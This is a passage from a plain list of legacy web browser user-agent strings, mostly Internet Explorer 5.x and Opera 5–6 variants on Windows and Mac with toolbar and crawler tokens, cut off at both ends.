5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.12  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.12  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.12  [it]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0 [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01  [it]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.03  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.04  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.04  [pl]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05  [hu]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05  [it]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05  [pl]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; Avant Browser 6.5.1.3 [avantbrowser.com])\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FDM)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 2.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.1.5.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.2.6.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; MyIE2)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Wanadoo 5.1; Wanadoo 5.3)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Wanadoo 5.3)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.0.0; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.0.0; YComp 5.0.2.4; Hotbar 4.1.7.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.5; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6; yplus 1.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98;)\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.12  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.12  [it]\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.0  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.01  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.01  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.05  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows ME; Link Checker 2.x.xx http://www.kyosoft.com)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 5.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 5.11  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 5.12  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.0  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.01  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.01  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.04  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.05  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.05  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.05  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0; SV1; Maxthon)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1) Opera 5.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.9; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT;)\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.0  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01  [et]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01  [it]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.04  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.04  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.04  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.05  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.05  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.05  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.06  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.06  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; YANDEX)\nMozilla/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com)\nMozilla/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com/; http://www.galaxy.com/info/crawler.html)\nMozilla/4.0 (compatible; MSIE 5.0b1; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.13; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.14; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC Mac OS; en)\nMozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.21; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.22; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) Opera 7.54  [en]\nMozilla/4.0 (compatible; MSIE 5.23; Macintosh; PPC) Escape 5.1.8\nMozilla/4.0 (compatible; MSIE 5.2; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.5)\nMozilla/4.0 (compatible; MSIE 5.50; Windows 95; SiteKiosk 4.8)\nMozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8)\nMozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8)\nMozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0)\nMozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0)\nMozilla/4.0 (compatible; MSIE 5.5; )\nMozilla/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 98; GoBeez (www.gobeez.com))\nMozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 6.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 6.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 6.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90; Hotbar 4.1.4.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 8.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 8.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 8.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 9.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 9.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 9.0; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; T312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; T312461; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; Transmission Segment; Hotbar 2.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Crazy Browser 1.x.x)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 2.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; KITV4.7 Wanadoo)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; SAFEXPLORER TL)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; SYMPA; Katiesoft 7; SimulBrowse 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.1; Wanadoo 5.3; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.2)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.2; Wanadoo 5.3)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.2; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.3)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.3; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.4)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.5; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 6.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 6.7)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; (R1 1.3); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Avant Browser [avantbrowser.com])\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; BTinternet V8.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; FunWebProducts; SpamBlockerUtility 4.6.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.1.2.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.2.6.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; MyIE2)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Q312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; T312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.1; Wanadoo 5.3; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.1; Wanadoo 6.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.2; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.3)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.3; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 6.7)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 7.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; YComp 5.0.2.4; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; YComp 5.0.0.0; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows CE)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; DigExt; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; DigExt; T312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; Hotbar 2.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; MyIE2)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; Q312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; QXW03018)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; T312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; T312461; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; T312461; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; T312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; T312461; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Fetch API Request\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; AIRF)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; AspTear 1.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Avant Browser [avantbrowser.com])\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; DigExt)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Hotbar 3.0; T312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Hotbar 4.1.5.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Hotbar 4.2.14.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Hotbar 4.4.2.0; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; KKman2.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; MyIE2)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; N_o_k_i_a)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; PPC; 240x320)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Q312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Q312461; T312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461) RPT-HTTPClient/0.3-3E\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; Hotbar 4.2.3.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; MyIE2)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Wanadoo 5.5; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; YComp 5.0.2.4; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; YComp 5.0.2.6; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 